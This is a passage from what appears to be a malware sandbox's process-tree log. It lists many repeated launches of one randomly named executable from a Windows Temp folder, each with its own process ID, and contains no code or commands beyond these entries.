      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7344
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7352
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7360
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7368
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7376
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7384
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7392
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7400
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7408
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7416
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7424
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7432
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7440
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7448
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7456
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7464
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7472
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7480
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7488
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7496
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7504
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7512
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7520
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7528
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7536
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7544
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7552
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7560
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7568
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7576
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7584
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7592
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7600
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7608
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7616
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7624
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7632
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7640
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7648
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7656
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7664
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7672
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7680
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7688
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7696
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7704
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7712
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7720
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7728
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7736
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7744
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7752
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7760
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7768
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7776
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7784
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7792
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7800
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7808
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7816
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7824
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7832
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7840
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7848
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7856
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7864
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7872
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7880
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7888
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7896
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7904
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7912
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7920
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7928
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7936
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7944
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7952
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7960
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7968
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7976
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7984
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:7992
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8000
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8008
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8016
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8024
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8032
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8040
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8048
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8056
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8064
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8072
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8080
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8088
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8096
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8104
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8112
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8120
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8128
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8136
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8144
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8152
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8160
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8168
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8176
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8184
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8196
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8204
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8212
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8220
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8228
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8236
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8244
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8252
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8260
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8268
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8276
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8284
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8292
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8300
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8308
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8316
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8324
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8332
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8340
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8348
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8356
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8364
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8372
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8380
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8388
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8396
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8404
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8412
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8420
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8428
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8436
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8444
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8452
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8460
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8472
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8480
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8488
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8496
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8504
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8512
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8520
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8528
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8536
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8544
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8552
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8560
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8568
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8576
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8584
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:8592
